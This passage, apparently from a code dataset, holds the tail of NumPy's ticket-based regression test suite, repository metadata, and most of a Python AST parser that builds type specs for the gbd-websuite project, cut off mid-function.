[975]*7, np.int8) assert_raises(ValueError, np.zeros, [26244]*5, np.int8) def test_dtype_keyerrors_(self): """Ticket #1106.""" dt = np.dtype([('f1', np.uint)]) assert_raises(KeyError, dt.__getitem__, "f2") assert_raises(IndexError, dt.__getitem__, 1) assert_raises(ValueError, dt.__getitem__, 0.0) def test_lexsort_buffer_length(self): """Ticket #1217, don't segfault.""" a = np.ones(100, dtype=np.int8) b = np.ones(100, dtype=np.int32) i = np.lexsort((a[::-1], b)) assert_equal(i, np.arange(100, dtype=np.int)) def test_object_array_to_fixed_string(self): """Ticket #1235.""" a = np.array(['abcdefgh', 'ijklmnop'], dtype=np.object_) b = np.array(a, dtype=(np.str_, 8)) assert_equal(a, b) c = np.array(a, dtype=(np.str_, 5)) assert_equal(c, np.array(['abcde', 'ijklm'])) d = np.array(a, dtype=(np.str_, 12)) assert_equal(a, d) e = np.empty((2, ), dtype=(np.str_, 8)) e[:] = a[:] assert_equal(a, e) def test_unicode_to_string_cast(self): """Ticket #1240.""" a = np.array( [ [sixu('abc'), sixu('\u03a3')], [sixu('asdf'), sixu('erw')] ], dtype='U') def fail(): b = np.array(a, 'S4') self.assertRaises(UnicodeEncodeError, fail) def test_mixed_string_unicode_array_creation(self): a = np.array(['1234', sixu('123')]) assert_(a.itemsize == 16) a = np.array([sixu('123'), '1234']) assert_(a.itemsize == 16) a = np.array(['1234', sixu('123'), '12345']) assert_(a.itemsize == 20) a = np.array([sixu('123'), '1234', sixu('12345')]) assert_(a.itemsize == 20) a = np.array([sixu('123'), '1234', sixu('1234')]) assert_(a.itemsize == 16) def test_misaligned_objects_segfault(self): """Ticket #1198 and #1267""" a1 = np.zeros((10,), dtype='O,c') a2 = np.array(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'], 'S10') a1['f0'] = a2 r = repr(a1) np.argmax(a1['f0']) a1['f0'][1] = "FOO" a1['f0'] = "FOO" a3 = np.array(a1['f0'], dtype='S') np.nonzero(a1['f0']) a1.sort() a4 = copy.deepcopy(a1) def test_misaligned_scalars_segfault(self): """Ticket #1267""" s1 = np.array(('a', 'Foo'), dtype='c,O') s2 = np.array(('b', 'Bar'), dtype='c,O') s1['f1'] = s2['f1'] s1['f1'] = 'Baz' def test_misaligned_dot_product_objects(self): """Ticket #1267""" # This didn't require a fix, but it's worth testing anyway, because # it may fail if .dot stops enforcing the arrays to be BEHAVED a = np.array([[(1, 'a'), (0, 'a')], [(0, 'a'), (1, 'a')]], dtype='O,c') b = np.array([[(4, 'a'), (1, 'a')], [(2, 'a'), (2, 'a')]], dtype='O,c') np.dot(a['f0'], b['f0']) def test_byteswap_complex_scalar(self): """Ticket #1259 and gh-441""" for dtype in [np.dtype('<'+t) for t in np.typecodes['Complex']]: z = np.array([2.2-1.1j], dtype) x = z[0] # always native-endian y = x.byteswap() if x.dtype.byteorder == z.dtype.byteorder: # little-endian machine assert_equal(x, np.fromstring(y.tostring(), dtype=dtype.newbyteorder())) else: # big-endian machine assert_equal(x, np.fromstring(y.tostring(), dtype=dtype)) # double check real and imaginary parts: assert_equal(x.real, y.real.byteswap()) assert_equal(x.imag, y.imag.byteswap()) def test_structured_arrays_with_objects1(self): """Ticket #1299""" stra = 'aaaa' strb = 'bbbb' x = np.array([[(0, stra), (1, strb)]], 'i8,O') x[x.nonzero()] = x.ravel()[:1] assert_(x[0, 1] == x[0, 0]) def test_structured_arrays_with_objects2(self): """Ticket #1299 second test""" stra = 'aaaa' strb = 'bbbb' numb = sys.getrefcount(strb) numa = sys.getrefcount(stra) x = np.array([[(0, stra), (1, strb)]], 'i8,O') x[x.nonzero()] = x.ravel()[:1] assert_(sys.getrefcount(strb) == numb) assert_(sys.getrefcount(stra) == numa + 2) def test_duplicate_title_and_name(self): """Ticket #1254""" def func(): x = np.dtype([(('a', 'a'), 'i'), ('b', 'i')]) self.assertRaises(ValueError, func) def test_signed_integer_division_overflow(self): """Ticket #1317.""" def test_type(t): min = np.array([np.iinfo(t).min]) min //= -1 with np.errstate(divide="ignore"): for t in (np.int8, np.int16, np.int32, np.int64, np.int, np.long): test_type(t) def test_buffer_hashlib(self): try: from hashlib import md5 except ImportError: from md5 import new as md5 x = np.array([1, 2, 3], dtype=np.dtype('<i4')) assert_equal(md5(x).hexdigest(), '2a1dd1e1e59d0a384c26951e316cd7e6') def test_numeric_handleError(self): """Ticket #1405""" from numpy import numarray # Just make sure this doesn't throw an exception numarray.handleError(0, "") def test_0d_string_scalar(self): # Bug #1436; the following should succeed np.asarray('x', '>c') def test_log1p_compiler_shenanigans(self): # Check if log1p is behaving on 32 bit intel systems. assert_(np.isfinite(np.log1p(np.exp2(-53)))) def test_fromiter_comparison(self, level=rlevel): a = np.fromiter(list(range(10)), dtype='b') b = np.fromiter(list(range(10)), dtype='B') assert_(np.alltrue(a == np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]))) assert_(np.alltrue(b == np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]))) def test_fromstring_crash(self): # Ticket #1345: the following should not cause a crash np.fromstring(asbytes('aa, aa, 1.0'), sep=',') def test_ticket_1539(self): dtypes = [x for x in np.typeDict.values() if (issubclass(x, np.number) and not issubclass(x, np.timedelta64))] a = np.array([], dtypes[0]) failures = [] # ignore complex warnings with warnings.catch_warnings(): warnings.simplefilter('ignore', np.ComplexWarning) for x in dtypes: b = a.astype(x) for y in dtypes: c = a.astype(y) try: np.dot(b, c) except TypeError as e: failures.append((x, y)) if failures: raise AssertionError("Failures: %r" % failures) def test_ticket_1538(self): x = np.finfo(np.float32) for name in 'eps epsneg max min resolution tiny'.split(): assert_equal(type(getattr(x, name)), np.float32, err_msg=name) def test_ticket_1434(self): # Check that the out= argument in var and std has an effect data = np.array(((1, 2, 3), (4, 5, 6), (7, 8, 9))) out = np.zeros((3,)) ret = data.var(axis=1, out=out) assert_(ret is out) assert_array_equal(ret, data.var(axis=1)) ret = data.std(axis=1, out=out) assert_(ret is out) assert_array_equal(ret, data.std(axis=1)) def test_complex_nan_maximum(self): cnan = complex(0, np.nan) assert_equal(np.maximum(1, cnan), cnan) def test_subclass_int_tuple_assignment(self): # ticket #1563 class Subclass(np.ndarray): def __new__(cls, i): return np.ones((i,)).view(cls) x = Subclass(5) x[(0,)] = 2 # shouldn't raise an exception assert_equal(x[0], 2) def test_ufunc_no_unnecessary_views(self): # ticket #1548 class Subclass(np.ndarray): pass x = np.array([1, 2, 3]).view(Subclass) y = np.add(x, x, x) assert_equal(id(x), id(y)) def test_take_refcount(self): # ticket #939 a = np.arange(16, dtype=np.float) a.shape = (4, 4) lut = np.ones((5 + 3, 4), np.float) rgba = np.empty(shape=a.shape + (4,), dtype=lut.dtype) c1 = sys.getrefcount(rgba) try: lut.take(a, axis=0, mode='clip', out=rgba) except TypeError: pass c2 = sys.getrefcount(rgba) assert_equal(c1, c2) def test_fromfile_tofile_seeks(self): # On Python 3, tofile/fromfile used to get (#1610) the Python # file handle out of sync f0 = tempfile.NamedTemporaryFile() f = f0.file f.write(np.arange(255, dtype='u1').tostring()) f.seek(20) ret = np.fromfile(f, count=4, dtype='u1') assert_equal(ret, np.array([20, 21, 22, 23], dtype='u1')) assert_equal(f.tell(), 24) f.seek(40) np.array([1, 2, 3], dtype='u1').tofile(f) assert_equal(f.tell(), 43) f.seek(40) data = f.read(3) assert_equal(data, asbytes("\x01\x02\x03")) f.seek(80) f.read(4) data = np.fromfile(f, dtype='u1', count=4) assert_equal(data, np.array([84, 85, 86, 87], dtype='u1')) f.close() def test_complex_scalar_warning(self): for tp in [np.csingle, np.cdouble, np.clongdouble]: x = tp(1+2j) assert_warns(np.ComplexWarning, float, x) with warnings.catch_warnings(): warnings.simplefilter('ignore') assert_equal(float(x), float(x.real)) def test_complex_scalar_complex_cast(self): for tp in [np.csingle, np.cdouble, np.clongdouble]: x = tp(1+2j) assert_equal(complex(x), 1+2j) def test_complex_boolean_cast(self): """Ticket #2218""" for tp in [np.csingle, np.cdouble, np.clongdouble]: x = np.array([0, 0+0.5j, 0.5+0j], dtype=tp) assert_equal(x.astype(bool), np.array([0, 1, 1], dtype=bool)) assert_(np.any(x)) assert_(np.all(x[1:])) def test_uint_int_conversion(self): x = 2**64 - 1 assert_equal(int(np.uint64(x)), x) def test_duplicate_field_names_assign(self): ra = np.fromiter(((i*3, i*2) for i in range(10)), dtype='i8,f8') ra.dtype.names = ('f1', 'f2') rep = repr(ra) # should not cause a segmentation fault assert_raises(ValueError, setattr, ra.dtype, 'names', ('f1', 'f1')) def test_eq_string_and_object_array(self): # From e-mail thread "__eq__ with str and object" (Keith Goodman) a1 = np.array(['a', 'b'], dtype=object) a2 = np.array(['a', 'c']) assert_array_equal(a1 == a2, [True, False]) assert_array_equal(a2 == a1, [True, False]) def test_nonzero_byteswap(self): a = np.array([0x80000000, 0x00000080, 0], dtype=np.uint32) a.dtype = np.float32 assert_equal(a.nonzero()[0], [1]) a = a.byteswap().newbyteorder() assert_equal(a.nonzero()[0], [1]) # [0] if nonzero() ignores swap def test_find_common_type_boolean(self): # Ticket #1695 assert_(np.find_common_type([], ['?', '?']) == '?') def test_empty_mul(self): a = np.array([1.]) a[1:1] *= 2 assert_equal(a, [1.]) def test_array_side_effect(self): assert_equal(np.dtype('S10').itemsize, 10) A = np.array([['abc', 2], ['long ', '0123456789']], dtype=np.string_) # This was throwing an exception because in ctors.c, # discover_itemsize was calling PyObject_Length without checking # the return code. This failed to get the length of the number 2, # and the exception hung around until something checked # PyErr_Occurred() and returned an error. assert_equal(np.dtype('S10').itemsize, 10) def test_any_float(self): # all and any for floats a = np.array([0.1, 0.9]) assert_(np.any(a)) assert_(np.all(a)) def test_large_float_sum(self): a = np.arange(10000, dtype='f') assert_equal(a.sum(dtype='d'), a.astype('d').sum()) def test_ufunc_casting_out(self): a = np.array(1.0, dtype=np.float32) b = np.array(1.0, dtype=np.float64) c = np.array(1.0, dtype=np.float32) np.add(a, b, out=c) assert_equal(c, 2.0) def test_array_scalar_contiguous(self): # Array scalars are both C and Fortran contiguous assert_(np.array(1.0).flags.c_contiguous) assert_(np.array(1.0).flags.f_contiguous) assert_(np.array(np.float32(1.0)).flags.c_contiguous) assert_(np.array(np.float32(1.0)).flags.f_contiguous) def test_squeeze_contiguous(self): """Similar to GitHub issue #387""" a = np.zeros((1, 2)).squeeze() b = np.zeros((2, 2, 2), order='F')[:,:, ::2].squeeze() assert_(a.flags.c_contiguous) assert_(a.flags.f_contiguous) assert_(b.flags.f_contiguous) def test_reduce_contiguous(self): """GitHub issue #387""" a = np.add.reduce(np.zeros((2, 1, 2)), (0, 1)) b = np.add.reduce(np.zeros((2, 1, 2)), 1) assert_(a.flags.c_contiguous) assert_(a.flags.f_contiguous) assert_(b.flags.c_contiguous) def test_object_array_self_reference(self): # Object arrays with references to themselves can cause problems a = np.array(0, dtype=object) a[()] = a assert_raises(TypeError, int, a) assert_raises(TypeError, long, a) assert_raises(TypeError, float, a) assert_raises(TypeError, oct, a) assert_raises(TypeError, hex, a) # This was causing a to become like the above a = np.array(0, dtype=object) a[...] += 1 assert_equal(a, 1) def test_zerosize_accumulate(self): "Ticket #1733" x = np.array([[42, 0]], dtype=np.uint32) assert_equal(np.add.accumulate(x[:-1, 0]), []) def test_objectarray_setfield(self): # Setfield directly manipulates the raw array data, # so is invalid for object arrays. x = np.array([1, 2, 3], dtype=object) assert_raises(RuntimeError, x.setfield, 4, np.int32, 0) def test_setting_rank0_string(self): "Ticket #1736" s1 = asbytes("hello1") s2 = asbytes("hello2") a = np.zeros((), dtype="S10") a[()] = s1 assert_equal(a, np.array(s1)) a[()] = np.array(s2) assert_equal(a, np.array(s2)) a = np.zeros((), dtype='f4') a[()] = 3 assert_equal(a, np.array(3)) a[()] = np.array(4) assert_equal(a, np.array(4)) def test_string_astype(self): "Ticket #1748" s1 = asbytes('black') s2 = asbytes('white') s3 = asbytes('other') a = np.array([[s1], [s2], [s3]]) assert_equal(a.dtype, np.dtype('S5')) b = a.astype(np.dtype('S0')) assert_equal(b.dtype, np.dtype('S5')) def test_ticket_1756(self): """Ticket #1756 """ s = asbytes('0123456789abcdef') a = np.array([s]*5) for i in range(1, 17): a1 = np.array(a, "|S%d"%i) a2 = np.array([s[:i]]*5) assert_equal(a1, a2) def test_fields_strides(self): "Ticket #1760" r=np.fromstring('abcdefghijklmnop'*4*3, dtype='i4,(2,3)u2') assert_equal(r[0:3:2]['f1'], r['f1'][0:3:2]) assert_equal(r[0:3:2]['f1'][0], r[0:3:2][0]['f1']) assert_equal(r[0:3:2]['f1'][0][()], r[0:3:2][0]['f1'][()]) assert_equal(r[0:3:2]['f1'][0].strides, r[0:3:2][0]['f1'].strides) def test_alignment_update(self): """Check that alignment flag is updated on stride setting""" a = np.arange(10) assert_(a.flags.aligned) a.strides = 3 assert_(not a.flags.aligned) def test_ticket_1770(self): "Should not segfault on python 3k" import numpy as np try: a = np.zeros((1,), dtype=[('f1', 'f')]) a['f1'] = 1 a['f2'] = 1 except ValueError: pass except: raise AssertionError def test_ticket_1608(self): "x.flat shouldn't modify data" x = np.array([[1, 2], [3, 4]]).T y = np.array(x.flat) assert_equal(x, [[1, 3], [2, 4]]) def test_pickle_string_overwrite(self): import re data = np.array([1], dtype='b') blob = pickle.dumps(data, protocol=1) data = pickle.loads(blob) # Check that loads does not clobber interned strings s = re.sub("a(.)", "\x01\\1", "a_") assert_equal(s[0], "\x01") data[0] = 0xbb s = re.sub("a(.)", "\x01\\1", "a_") assert_equal(s[0], "\x01") def test_pickle_bytes_overwrite(self): if sys.version_info[0] >= 3: data = np.array([1], dtype='b') data = pickle.loads(pickle.dumps(data)) data[0] = 0xdd bytestring = "\x01 ".encode('ascii') assert_equal(bytestring[0:1], '\x01'.encode('ascii')) def test_structured_type_to_object(self): a_rec = np.array([(0, 1), (3, 2)], dtype='i4,i8') a_obj = np.empty((2,), dtype=object) a_obj[0] = (0, 1) a_obj[1] = (3, 2) # astype records -> object assert_equal(a_rec.astype(object), a_obj) # '=' records -> object b = np.empty_like(a_obj) b[...] = a_rec assert_equal(b, a_obj) # '=' object -> records b = np.empty_like(a_rec) b[...] = a_obj assert_equal(b, a_rec) def test_assign_obj_listoflists(self): # Ticket # 1870 # The inner list should get assigned to the object elements a = np.zeros(4, dtype=object) b = a.copy() a[0] = [1] a[1] = [2] a[2] = [3] a[3] = [4] b[...] = [[1], [2], [3], [4]] assert_equal(a, b) # The first dimension should get broadcast a = np.zeros((2, 2), dtype=object) a[...] = [[1, 2]] assert_equal(a, [[1, 2], [1, 2]]) def test_memoryleak(self): # Ticket #1917 - ensure that array data doesn't leak for i in range(1000): # 100MB times 1000 would give 100GB of memory usage if it leaks a = np.empty((100000000,), dtype='i1') del a def test_ufunc_reduce_memoryleak(self): a = np.arange(6) acnt = sys.getrefcount(a) res = np.add.reduce(a) assert_equal(sys.getrefcount(a), acnt) def test_search_sorted_invalid_arguments(self): # Ticket #2021, should not segfault. x = np.arange(0, 4, dtype='datetime64[D]') assert_raises(TypeError, x.searchsorted, 1) def test_string_truncation(self): # Ticket #1990 - Data can be truncated in creation of an array from a # mixed sequence of numeric values and strings for val in [True, 1234, 123.4, complex(1, 234)]: for tostr in [asunicode, asbytes]: b = np.array([val, tostr('xx')]) assert_equal(tostr(b[0]), tostr(val)) b = np.array([tostr('xx'), val]) assert_equal(tostr(b[1]), tostr(val)) # test also with longer strings b = np.array([val, tostr('xxxxxxxxxx')]) assert_equal(tostr(b[0]), tostr(val)) b = np.array([tostr('xxxxxxxxxx'), val]) assert_equal(tostr(b[1]), tostr(val)) def test_string_truncation_ucs2(self): # Ticket #2081. Python compiled with two byte unicode # can lead to truncation if itemsize is not properly # adjusted for Numpy's four byte unicode. if sys.version_info[0] >= 3: a = np.array(['abcd']) else: a = np.array([sixu('abcd')]) assert_equal(a.dtype.itemsize, 16) def test_unique_stable(self): # Ticket #2063 must always choose stable sort for argsort to # get consistent results v = np.array(([0]*5 + [1]*6 + [2]*6)*4) res = np.unique(v, return_index=True) tgt = (np.array([0, 1, 2]), np.array([ 0, 5, 11])) assert_equal(res, tgt) def test_unicode_alloc_dealloc_match(self): # Ticket #1578, the mismatch only showed up when running # python-debug for python versions >= 2.7, and then as # a core dump and error message. a = np.array(['abc'], dtype=np.unicode)[0] del a def test_refcount_error_in_clip(self): # Ticket #1588 a = np.zeros((2,), dtype='>i2').clip(min=0) x = a + a # This used to segfault: y = str(x) # Check the final string: assert_(y == "[0 0]") def test_searchsorted_wrong_dtype(self): # Ticket #2189, it used to segfault, so we check that it raises the # proper exception. a = np.array([('a', 1)], dtype='S1, int') assert_raises(TypeError, np.searchsorted, a, 1.2) # Ticket #2066, similar problem: dtype = np.format_parser(['i4', 'i4'], [], []) a = np.recarray((2, ), dtype) assert_raises(TypeError, np.searchsorted, a, 1) def test_complex64_alignment(self): # Issue gh-2668 (trac 2076), segfault on sparc due to misalignment dtt = np.complex64 arr = np.arange(10, dtype=dtt) # 2D array arr2 = np.reshape(arr, (2, 5)) # Fortran write followed by (C or F) read caused bus error data_str = arr2.tostring('F') data_back = np.ndarray(arr2.shape, arr2.dtype, buffer=data_str, order='F') assert_array_equal(arr2, data_back) def test_structured_count_nonzero(self): arr = np.array([0, 1]).astype('i4, (2)i4')[:1] count = np.count_nonzero(arr) assert_equal(count, 0) def test_copymodule_preserves_f_contiguity(self): a = np.empty((2, 2), order='F') b = copy.copy(a) c = copy.deepcopy(a) assert_(b.flags.fortran) assert_(b.flags.f_contiguous) assert_(c.flags.fortran) assert_(c.flags.f_contiguous) if __name__ == "__main__": run_module_suite()

35.894241

92

0.544313

3803559bbc0dd9666aba6a4127cfc243449e0567

18,826

py

Python

app/gws/spec/generator/parser.py

gbd-consult/gbd-websuite

7212f41081c04614fdb4641e902d4de3424da8c5

[ "Apache-2.0" ]

3

2020-07-24T10:10:18.000Z

2022-03-16T10:22:04.000Z

app/gws/spec/generator/parser.py

gbd-consult/gbd-websuite

7212f41081c04614fdb4641e902d4de3424da8c5

[ "Apache-2.0" ]

28

2020-03-03T17:35:58.000Z

2021-07-12T12:05:47.000Z

app/gws/spec/generator/parser.py

gbd-consult/gbd-websuite

7212f41081c04614fdb4641e902d4de3424da8c5

[ "Apache-2.0" ]

1

2021-02-22T14:32:10.000Z

"""Parse py source files and create a list of units of interest""" import ast from typing import Dict, List, cast from . import base def parse(state: base.ParserState, meta): for b in base.BUILTINS: state.types[b] = base.TAtom(name=b) state.types['TUncheckedEnum'] = base.TAtom(name='str') for chunk in meta.chunks: for path in chunk.paths['python']: parser = None try: mod_name = _module_name(chunk, path) text = read_file(path) parser = _Parser(state, mod_name, path, text, meta) parser.run() except Exception as e: lineno = '?' if parser and parser.context: lineno = parser.context[-1].lineno msg = repr(e) if hasattr(e, 'args'): msg = str(e.args[0]) raise base.Error(f'{msg} in {path}:{lineno}') ## def read_file(path): with open(path, 'rt', encoding='utf8') as fp: return fp.read().strip() def write_file(path, text): with open(path, 'wt', encoding='utf8') as fp: fp.write(text) ## DOT = '.' class _Parser: buf: str lines: List[str] module_node: ast.Module module_name: str docs: Dict[int, str] imports: Dict[str, str] def __init__(self, state, module_name: str, path: str, text: str, meta): self.state: base.ParserState = state self.module_name = module_name self.module_path = path self.text = text self.lines = [''] + self.text.splitlines() self.is_init = path.endswith('__init__.py') self.context: List = [] self.meta = meta def run(self): tree = ast.parse(self.text) for node in ast.walk(tree): if _cls(node) == 'Module': self.module_node = cast(ast.Module, node) break else: raise ValueError('module node not found') self.docs = self.prepare_docs() self.imports = self.prepare_imports() for node in self.nodes('module', 'ClassDef'): self.parse_class(node) for node in self.nodes('module', 'Assign'): self.parse_type_alias(node) ## def prepare_docs(self): # comments can be placed before the prop like "#: blah <nl>foo" # or inline like "foo #: blah" cmt = '#:' docs = {} for n, ln in enumerate(self.lines): ln = ln.strip() if ln.startswith(cmt): docs[n + 1] = ln.split(cmt)[1].strip() elif cmt in ln: docs[n] = ln.split(cmt)[1].strip() return docs def prepare_imports(self): # map import names to module names imp = {} # "import a.b.c as foo" => {foo: a.b.c} for node in self.nodes('module', 'Import'): for nn in node.names: imp[nn.asname or nn.name] = nn.name for node in self.nodes('module', 'ImportFrom'): # "from a.b.c import foo" => {foo: a.b.c.foo} if node.level == 0: for nn in node.names: imp[nn.asname or nn.name] = node.module + DOT + nn.name continue # "from . import foo" => {foo: "<mod-name>.{ # "from .. import foo" => "<mod-name-before-dot>.foo" # "from ..abc import foo" => "<mod-name-before-dot>.abc.foo" m = self.module_name.split(DOT) level = node.level - self.is_init if level: m = m[:-level] m = DOT.join(m) if node.module: m += DOT + node.module for nn in node.names: imp[nn.asname or nn.name] = m + DOT + nn.name # create alias specs for imported types for alias, target in imp.items(): if _is_type_name(alias): self.state.aliases[self.module_name + DOT + alias] = target return imp ## def parse_type_alias(self, node): """Parse a type alias TypeA = TypeB""" name_node = node.targets[0] if len(node.targets) > 1 or _cls(name_node) != 'Name' or not _is_type_name(name_node.id): return # we only accept aliases that have documentation strings '#: ...' doc = self.doc_for(node) if not doc: return target_type = self.type_from_node(node.value) # mypy doesn't accept aliases to special forms, # so we cannot use Variant = Union # instead, if the type is Union, look in the comment string for 'Variant' if isinstance(target_type, base.TUnion) and 'Variant' in doc: target_type = base.TVariantStub(items=target_type.items, pos=self.pos) self.add(target_type) self.add(base.TAlias( doc=doc, ident=name_node.id, name=self.qname(name_node), pos=self.pos, target_t=target_type.name, )) def parse_class(self, node): if not _is_type_name(node.name): return supers = [self.qname(b) for b in node.bases] if supers and (supers[0] == 'Enum' or supers[0].endswith('.Enum')): return self.parse_enum(node) spec = base.TRecord( doc=_docstring(node), ident=node.name, name=self.qname(node), pos=self.pos, ext_category='', ext_kind='', ext_type='', supers=[self.type_from_name(s).name for s in supers], ) d = self.class_decorator(node) if d: spec.ext_category = d.category spec.ext_kind = d.kind spec.ext_type = d.type self.add(spec) for nn in self.nodes(node.body, 'Assign'): self.parse_property(spec, nn, annotated=False) for nn in self.nodes(node.body, 'AnnAssign'): self.parse_property(spec, nn, annotated=True) for nn in self.nodes(node.body, 'FunctionDef'): d = self.function_decorator(nn) if d and d.kind == 'command': self.parse_command(spec, nn, d.name) def parse_enum(self, node): docs = {} values = {} for nn in self.nodes(node.body, 'Assign'): ident = nn.targets[0].id ok, val = self.parse_value(nn.value) if not ok or not _is_scalar(val): raise ValueError(f'invalid Enum item {ident!r}') docs[ident] = self.doc_for(nn) values[ident] = val self.add(base.TEnum( doc=_docstring(node), ident=node.name, name=self.qname(node), pos=self.pos, docs=docs, values=values, )) def parse_property(self, owner_type: base.Type, node, annotated: bool): ident = node.target.id if annotated else node.targets[0].id if ident.startswith('_'): return has_default, default = self.parse_value(node.value) spec = base.TProperty( doc=self.doc_for(node), ident=ident, name=owner_type.name + DOT + ident, pos=self.pos, default=None, has_default=has_default, owner_t=owner_type.name, property_t='any', ) if has_default: spec.default = default property_type = None if hasattr(node, 'annotation'): property_type = self.type_from_node(node.annotation) if not property_type: typ = 'any' if spec.has_default and spec.default is not None: typ = type(spec.default).__name__ property_type = self.type_from_name(typ) if property_type: if isinstance(property_type, base.TOptional): spec.property_t = property_type.target_t if not spec.has_default: spec.has_default = True spec.default = None else: spec.property_t = property_type.name self.add(spec) def parse_command(self, owner_type: base.Type, node, command_name: str): # command names are strictly three parts: method . action . name # e.g. 'cli.server.restart method, action, cmd = command_name.split(DOT) spec = base.TCommand( doc=_docstring(node), ident=node.name, name=method + DOT + action + _ucfirst(cmd), # cli.serverRestart pos=self.pos, owner_t=owner_type.name, cmd_action=action, # server cmd_command=cmd, # restart cmd_method=method, cmd_name=action + _ucfirst(cmd), # serverRestart ext_type=cast(base.TRecord, owner_type).ext_type, arg_t='any', ret_t='any', ) # action methods have only one spec'able arg (the last one) arg_node = node.args.args[-1] if arg_node.annotation: arg_type = self.type_from_node(arg_node.annotation) spec.arg_t = arg_type.name if arg_type else 'any' if node.returns: ret_type = self.type_from_node(node.returns) spec.ret_t = ret_type.name if ret_type else 'any' self.add(spec) def class_decorator(self, node): d = self.gws_decorator(node) if not d: return # e.g. gws.ext.Config('db.provider.foo') fn_parts = self.qname(d.func).split(DOT) ok, arg = self.parse_value(d.args[0]) if not ok: raise ValueError('invalid argument') arg_parts = arg.split(DOT) return base.Data( category=DOT.join(arg_parts[:-1]), # 'db.provider' type=arg_parts[-1], # 'foo' kind=fn_parts[-1], # 'Config' name=DOT.join(fn_parts[:-1] + arg_parts + fn_parts[-1:]), # 'gws.ext.db.provider.foo.Config' ) def function_decorator(self, node): d = self.gws_decorator(node) if not d: return # e.g. gws.ext.command('api.map.renderXYZ') fn_parts = self.qname(d.func).split(DOT) kind = fn_parts[-1] if kind == 'command': if not d.args: raise ValueError('invalid argument') ok, arg = self.parse_value(d.args[0]) if not ok: raise ValueError('invalid argument') return base.Data(kind=kind, name=arg) raise ValueError(f'invalid decorator: "{kind}"') def gws_decorator(self, node): for d in getattr(node, 'decorator_list', []): if _cls(d) == 'Call' and self.qname(d.func).startswith(base.GWS_EXT_PREFIX + DOT): return d ## def type_from_node(self, node) -> base.Type: # here, node is a type declaration (an alias or an annotation) cc = _cls(node) # foo: SomeType if cc in {'Str', 'Name', 'Attribute', 'Constant'}: return self.type_from_name(self.qname(node)) # foo: Generic[SomeType] if cc == 'Subscript': return self.type_from_name(self.qname(node.value), node.slice.value) # foo: [SomeType, SomeType] if cc in {'List', 'Tuple'}: items = [self.type_from_node(e) for e in node.elts] return self.add(base.TTuple(items=[it.name for it in items])) raise ValueError(f'unsupported type: {cc!r}') def type_from_name(self, name: str, param=None) -> base.Type: if name in self.state.types: return self.state.types[name] g = name.split(DOT)[-1].lower() if g == 'any': return self.state.types['any'] # literal - 'param' is a value or a tuple of values if g == 'literal': if not param: raise ValueError('invalid literal') values = [] elts = param.elts if _cls(param) == 'Tuple' else [param] for elt in elts: values.append(self.parse_literal_value(elt)) return self.add(base.TLiteral(values=values)) # in other cases, 'param' is a type or a tuple of types param_type = self.type_from_node(param) if param else None param_tuple = None if isinstance(param_type, base.TTuple): param_tuple = param_type.items if g == 'optional': if not param_type: raise ValueError('invalid optional type') return self.add(base.TOptional(target_t=param_type.name)) if g == 'list': return self.add(base.TList(item_t=param_type.name if param_type else 'any')) if g == 'set': return self.add(base.TSet(item_t=param_type.name if param_type else 'any')) if g == 'dict': if param_tuple: if len(param_tuple) != 2: raise ValueError('invalid Dict arguments') key, val = param_tuple if key != 'str': raise ValueError('Dict keys must be str') elif param_type: key = 'str' val = param_type.name else: key = 'str' val = 'any' return self.add(base.TDict(key_t=key, value_t=val)) if g == 'union': if not param_tuple: raise ValueError('invalid Union') return self.add(base.TUnion(items=sorted(param_tuple))) if g == 'tuple': if not param_type: return self.add(base.TTuple(items=[])) if not param_tuple: raise ValueError('invalid Tuple') return self.add(base.TTuple(items=param_tuple)) if param: raise ValueError('invalid generic type') return self.add(base.TUnresolvedReference(name=name)) ## @property def pos(self): return { 'module_name': self.module_name, 'module_path': self.module_path, 'lineno': self.context[-1].lineno if self.context else 0, } def add(self, t: base.Type) -> base.Type: if not hasattr(t, 'pos'): setattr(t, 'pos', self.pos) self.state.types[t.name] = t return t def doc_for(self, node): if node.lineno in self.docs: return self.docs[node.lineno] return '' def qname(self, node): name = self.node_name(node) if name in base.BUILTINS: return name name = self.qualified(name) return name def qualified(self, name): for alias, mod in self.imports.items(): if name == mod or name.startswith(mod + DOT): return name if name == alias: return mod if name.startswith(alias + DOT): return mod + DOT + name[(len(alias) + 1):] return self.module_name + DOT + name def node_name(self, node): if _cls(node) == 'Name': return node.id if _cls(node) == 'Attribute': return self.node_name(node.value) + DOT + node.attr if _cls(node) == 'Str': return node.s if _cls(node) == 'Constant': v = node.value return v if isinstance(v, str) else repr(v) if _cls(node) == 'ClassDef': return node.name raise ValueError('cannot find a node name') def nodes(self, where, *cls): if where == 'module': where = self.module_node.body for node in where: if not cls or _cls(node) in cls: self.context.append(node) yield node self.context.pop() ## def parse_value(self, node): if node is None: return False, None cc = _cls(node) if cc == 'Num': return True, node.n if cc in ('Str', 'Bytes'): return True, node.s if cc in ('Constant', 'NameConstant'): return True, node.value if cc == 'List': vals = [] for elt in node.elts: ok, val = self.parse_value(elt) if not ok: raise ValueError(f'invalid list element') vals.append(val) return True, vals if cc == 'Dict': dct = {} for k, v in zip(node.keys, node.values): ok1, key = self.parse_value(k) ok2, val = self.parse_value(v) if not ok1 or not ok2: raise ValueError(f'invalid dict element') dct[key] = val return True, dct if cc == 'Attribute': # Something.someKey - possible enum value return True, base.TUncheckedEnum(name=self.qname(node)) base.debug_log(f'unparsed value {cc!r}', base.Data(pos=self.pos)) return False, None def parse_literal_value(self, node): cc = _cls(node) if cc == 'Num': return node.n if cc in ('Str', 'Bytes'): return node.s if cc in ('Constant', 'NameConstant'): return node.value raise ValueError(f'invalid literal value of type {cc!r}') ## def _module_name(chunk, path): # <chunk.sourceDir>/a/b/c.py => <chunk.name>.a.b.c if not path.startswith(chunk.sourceDir): raise ValueError(f'invalid path {path!r}') p = path[len(chunk.sourceDir):].split('/') f = p.pop().split(DOT)[0] if f != '__init__': p.append(f) return chunk.name + DOT.join(p) def _docstring(node): try: b = node.body[0] if _cls(b) == 'Expr' and _cls(b.value) in ('Constant', 'Str'): return b.value.s.strip() except: pass return '' def _is_scalar(val): return isinstance(val, (str, bytes, int, float, bool)) def _is_type_name(name: str) -> bool: return ( bool(name) and name[0].isupper() and all(s.upper() or s.islower() or s.isdigit() for s in name) and any(s.islower() for s in name) ) def _is_a(full_name: str, name: str) -> bool: # if the name is like 'Object', check if the full name ends with it # if the name is like 'some.module', check if the full name starts with it if name[0].isupper(): return full_name == name or full_name.endswith(DOT 